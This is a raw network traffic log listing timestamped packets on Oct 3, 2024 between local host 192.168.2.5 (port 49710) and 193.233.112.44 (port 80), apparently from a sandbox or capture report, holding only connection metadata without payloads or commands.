Oct 3, 2024 23:17:10.383682013 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.383692026 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.383697987 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.383702993 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.383724928 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.383735895 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.383745909 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.383764982 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.383781910 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.383788109 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.383795023 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.383812904 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.383913040 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.383955002 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.398730040 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.398753881 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.398781061 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.398793936 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.398797035 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.398802996 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.398816109 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.398818970 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.398828030 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.398832083 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.398848057 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.398852110 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.398864031 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.398864985 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.398883104 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.398886919 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.398894072 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.398917913 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.398937941 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.398953915 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.398969889 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.398982048 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.398986101 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.398996115 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.399003029 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.399008036 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.399019957 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.399027109 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.399036884 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.399039984 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.399059057 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.399086952 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.400432110 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.400460005 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.400476933 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.400482893 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.400491953 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.400511026 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.400624037 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.400640011 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.400655031 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.400670052 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.400671005 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.400690079 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.400691032 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.400705099 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.400707960 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.400731087 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.400743008 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.400913000 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.400928020 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.400953054 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.400958061 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.400969982 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.400970936 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.400986910 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.400990009 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.400998116 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.401005983 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.401022911 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.401041031 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.401213884 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.401262045 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.453391075 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.453412056 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.453428030 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.453478098 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.453493118 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.453524113 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.453540087 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.453556061 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.453572035 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.453577042 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.453577042 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.453584909 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.453619957 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.453676939 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.453692913 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.453716040 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.453722954 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.453826904 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.453845024 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.453869104 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.453881025 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.453958035 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.453974009 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.454003096 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.454013109 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.454111099 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.454127073 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.454143047 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.454154015 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.454160929 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.454171896 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.454176903 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.454189062 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.454193115 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.454195976 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.454227924 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.454246044 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.454390049 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.454406023 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.454421997 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.454435110 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.454437971 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.454461098 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.454487085 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.454505920 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.454540014 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.470040083 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.470082998 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.470093966 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.470098972 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.470114946 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.470120907 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.470133066 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.470136881 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.470149040 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.470156908 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.470166922 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.470175028 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.470194101 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.470199108 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.470211029 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.470251083 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.470253944 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.470271111 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.470287085 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.470295906 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.470312119 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.470330000 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.470536947 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.470552921 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.470568895 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.470577955 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.470585108 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.470601082 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.470611095 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.470612049 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.470612049 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.470617056 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.470633984 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.470639944 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.470649004 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.470665932 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.470685959 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.470685959 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.470685959 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.470702887 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.470976114 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.470992088 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.471026897 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.471026897 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.471152067 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.471175909 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.471190929 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.471206903 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.471215963 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.471215963 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.471223116 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.471227884 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.471240044 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.471247911 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.471255064 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.471262932 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.471272945 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.471288919 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.471290112 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.471302986 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.471307039 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.471322060 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.471323967 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.471355915 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.471355915 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.471895933 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.471911907 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.471926928 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.471941948 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.471950054 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.471950054 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.471959114 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.471965075 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.471976042 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.471992970 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.471995115 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.471995115 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.472007990 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.472008944 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.472024918 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.472024918 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.472038031 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.472042084 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.472055912 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.472059011 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.472076893 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.472076893 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.472091913 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.472095013 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.472107887 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.472122908 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.473647118 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.473663092 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.473679066 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.473691940 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.473712921 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.473799944 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.473815918 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.473831892 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.473840952 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.473849058 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.473860025 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.473870993 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.473889112 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.474056959 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.474106073 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.474117041 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.474133015 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.474148035 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.474160910 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.474165916 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.474173069 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.474183083 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.474189997 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.474199057 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.474210978 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.474226952 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.474546909 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.474562883 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.474577904 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.474591017 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.474594116 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.474611998 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.474622965 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.474628925 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.474644899 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.474646091 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.474658966 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.474680901 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.489109039 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.489145041 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.489159107 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.489168882 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.489177942 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.489191055 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.489382029 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.489398956 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.489413977 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.489424944 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.489428997 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.489434004 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.489445925 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.489454031 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.489464998 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.489481926 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.489487886 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.489504099 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.489518881 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.489533901 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.489533901 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.489541054 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.489553928 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.489567995 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.489584923 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.489630938 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.489630938 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.489671946 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.489671946 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.489671946 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.489793062 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.489840984 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.490979910 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.491020918 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.491028070 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.491036892 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.491056919 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.491065025 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.491153002 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.491169930 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.491183996 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.491199970 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.491224051 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.491362095 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.491379023 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.491401911 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.491413116 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.491415977 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.491429090 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.491436005 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.491451025 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.491456985 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.491487026 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.491523981 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.491540909 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.491559029 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.491566896 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.491585970 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.491592884 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.491636992 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.491653919 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.491679907 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.491702080 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.544100046 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.544194937 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.544291973 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.544310093 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.544326067 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.544334888 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.544343948 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.544346094 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.544368982 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.544382095 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.544620037 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.544639111 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.544655085 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.544663906 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.544670105 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.544672012 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.544688940 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.544714928 CEST	49710	80	192.168.2.5	193.233.112.44
